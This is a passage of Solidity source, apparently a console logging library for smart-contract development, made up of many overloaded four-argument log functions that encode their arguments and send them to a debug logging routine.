_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { 